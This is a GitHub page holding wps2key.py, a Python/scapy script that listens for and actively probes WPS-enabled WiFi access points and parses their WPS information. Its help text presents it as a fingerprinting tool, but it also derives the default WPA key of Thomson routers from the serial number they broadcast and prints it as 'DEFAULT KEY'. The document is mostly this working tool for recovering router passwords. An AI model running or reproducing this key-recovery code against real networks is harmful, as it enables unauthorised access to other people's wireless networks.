-
Notifications
You must be signed in to change notification settings - Fork 4
/
wps2key.py
350 lines (293 loc) · 9.64 KB
/
wps2key.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
#!/usr/bin/env python
from sys import argv, stderr, exit
from getopt import GetoptError, getopt as GetOpt
import hashlib
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except Exception, e:
print 'Failed to import scapy:',e
exit(1)
def ascii2hex(char):
return hex(ord(char))[2:]
def serial2key(serial):
#print 'Key for Serial Number: CP%s' % serial
sn = 'CP%s%s%s%s' % (serial[0:4],ascii2hex(serial[6]),ascii2hex(serial[7]),ascii2hex(serial[8]))
hash = hashlib.sha1(sn.upper()).hexdigest()
return hash[0:10].upper()
class WPSQuery:
bssid = None
essid = None
pfile = None
rprobe = False
verbose = False
probedNets = {}
WPS_ID = "\x00\x50\xF2\x04"
wps_attributes = {
0x104A : {'name' : 'Version ', 'type' : 'hex'},
0x1044 : {'name' : 'WPS State ', 'type' : 'hex'},
0x1057 : {'name' : 'AP Setup Locked ', 'type' : 'hex'},
0x1041 : {'name' : 'Selected Registrar ', 'type' : 'hex'},
0x1012 : {'name' : 'Device Password ID ', 'type' : 'hex'},
0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'},
0x103B : {'name' : 'Response Type ', 'type' : 'hex'},
0x1047 : {'name' : 'UUID-E ', 'type' : 'hex'},
0x1021 : {'name' : 'Manufacturer ', 'type' : 'str'},
0x1023 : {'name' : 'Model Name ', 'type' : 'str'},
0x1024 : {'name' : 'Model Number ', 'type' : 'str'},
0x1042 : {'name' : 'Serial Number ', 'type' : 'str'},
0x1054 : {'name' : 'Primary Device Type ', 'type' : 'hex'},
0x1011 : {'name' : 'Device Name ', 'type' : 'str'},
0x1008 : {'name' : 'Config Methods ', 'type' : 'hex'},
0x103C : {'name' : 'RF Bands ', 'type' : 'hex'},
0x1045 : {'name' : 'SSID ', 'type' : 'str'},
0x102D : {'name' : 'OS Version ', 'type' : 'str'}
}
def __init__(self,iface,pfile):
if iface:
conf.iface = iface
if pfile:
self.pfile = pfile
def run(self):
if self.verbose:
if self.pfile:
stderr.write("Reading packets from %s\n\n" % self.pfile)
else:
stderr.write("Listening on interface %s\n\n" % conf.iface)
try:
sniff(prn=self.pcap,offline=self.pfile)
except Exception, e:
print 'Caught exception while running sniff():',e
#Handles captured packets
def pcap(self,packet):
if packet.haslayer(Dot11Beacon):
self.beaconh(packet)
elif packet.haslayer(Dot11ProbeResp):
self.responseh(packet)
#Beacon packet handler
def beaconh(self,pkt):
elt = None
eltcount = 1
doprobe = False
essid = None
bssid = pkt[Dot11].addr3.upper()
#If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it
if self.bssid and self.essid:
self.probereq(self.essid,self.bssid)
return
#If we've already probed it, processing it's beacon frames won't do us any more good
if self.probedNets.has_key(bssid):
return
#Is this the BSSID we're looking for?
if self.bssid and self.bssid != bssid:
return
#Loop through all information elements
while elt != pkt.lastlayer(Dot11Elt):
elt = pkt.getlayer(Dot11Elt, nb=eltcount)
eltcount += 1
#Get the SSID
if elt.ID == 0:
essid = elt.info
#Skip if this is not the SSID we're looking for
if self.essid and essid != self.essid:
return
#Check for a WPS information element
else:
doprobe = self.iswpselt(elt)
if doprobe:
if self.verbose:
stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid))
break
#Should we actively probe this AP?
if doprobe == True or self.rprobe == True:
self.probereq(essid,bssid)
return
#Probe response packet handler
def responseh(self,pkt):
wpsdata = []
eltcount = 1
elt = None
bssid = None
essid = None
bssid = pkt[Dot11].addr3.upper()
#Is this the BSSID we're looking for?
if self.bssid and self.bssid != bssid:
return
#Loop through all information elements
while elt != pkt.lastlayer(Dot11Elt):
elt = pkt.getlayer(Dot11Elt, nb=eltcount)
eltcount += 1
#Get the SSID
if elt.ID == 0:
essid = elt.info
#Don't probe a network multiple times
if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid:
return
#Skip if this is not the SSID we're looking for
if self.essid and essid != self.essid:
return
if self.verbose:
stderr.write("Received probe response from %s (%s)\n" % (bssid,essid))
elif self.iswpselt(elt):
wpsdata = self.parsewpselt(elt)
#Display WPS information
if wpsdata:
self.printwpsinfo(wpsdata,bssid,essid)
elif self.verbose:
stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid))
#Mark this BSSID as complete
self.probedNets[bssid] = essid
return
#Display collected WPS data
def printwpsinfo(self,wpsdata,bssid,essid):
textlen = 33
filler = ' '
is_valid = 0
if wpsdata:
print ''
print 'BSSID:',bssid
print 'ESSID:',essid
print '----------------------------------------------------------'
for (header,data,datatype) in wpsdata:
if datatype != 'str':
tdata = data
data = '0x'
for i in tdata:
byte = str(hex(ord(i)))[2:]
if len(byte) == 1:
byte = '0' + byte
data += byte
header = header + (filler * (textlen-len(header)))
print '%s : %s' % (header,data)
if data == 'THOMSON':
is_valid = 1
elif data == '784n':
is_valid = 0
if header == 'Serial Number ':
header = 'DEFAULT KEY '
if is_valid == 1:
data = serial2key(data)
else:
data = 'UNSUPPORTED'
print '%s : %s' % (header,data)
print ''
#Send a probe request to the specified AP
def probereq(self,essid,bssid):
if not essid or not bssid:
return
if self.probedNets.has_key(bssid):
return
if self.pfile:
return
if self.verbose:
stderr.write("Probing network '%s (%s)'\n" % (bssid,essid))
try:
#Build a probe request packet with a SSID and a WPS information element
dst = mac2str(bssid)
src = mac2str("ff:ff:ff:ff:ff:ff")
packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq()
packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID)
#Send it!
send(packet,verbose=0)
self.probedNets[bssid] = None
except Exception, e:
print 'Failure sending probe request to',essid,':',e
#Check if an element is a WPS element
def iswpselt(self,elt):
if elt.ID == 221:
if elt.info.startswith(self.WPS_ID):
return True
return False
#Parse a WPS element
def parsewpselt(self,elt):
data = []
tagname = None
tagdata = None
datatype = None
tag = 0
tlen = 0
i = len(self.WPS_ID)
try:
if self.iswpselt(elt):
while i < elt.len:
#Get tag number and length
tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
i += 2
tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
i += 2
#Get the tag data
tagdata = elt.info[i:i+tlen]
i += tlen
#Lookup the tag name and type
try:
tagname = self.wps_attributes[tag]['name']
datatype = self.wps_attributes[tag]['type']
except Exception, e:
tagname = 'Unknown'
datatype = 'hex'
#Append to array
data.append((tagname,tagdata,datatype))
except Exception,e:
print 'Exception processing WPS element:',e
return data
def about():
print '''
WPScan actively scans access points that support WiFi Protected Setup by sending
802.11 probe requests to them. It then examines the WPS information element in the
resulting 802.11 probe response and displays the information contained in that IE.
This is useful for fingerprinting WPS-capable access points, as many of them will
include their vendor, model number, and firmware versions in the WPS IE of the
probe response.
'''
exit(0)
def usage():
print '''
Usage: %s [OPTIONS]
-i <iface> Specify the interface to listen on
-p <file> Specify pcap file to read from
-b <bssid> Specify a bssid filter
-e <essid> Specify an essid filter
-n Probe all networks
-v Enable verbose mode
-a Show about information
-h Show help
''' % argv[0]
exit(1)
def main():
bssid = None
essid = None
iface = None
pfile = None
probeall = False
verbose = False
try:
opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh");
except GetoptError, e:
print 'Usage Error:',e
usage()
for opt,optarg in opts:
if opt == '-b':
bssid = optarg.upper()
elif opt == '-e':
essid = optarg
elif opt == '-i':
iface = optarg
elif opt == '-p':
pfile = optarg
elif opt == '-v':
verbose = True
elif opt == '-n':
probeall = True
elif opt == '-a':
about()
else:
usage()
wps = WPSQuery(iface,pfile)
wps.bssid = bssid
wps.essid = essid
wps.rprobe = probeall
wps.verbose = verbose
wps.run()
if __name__ == "__main__":
main()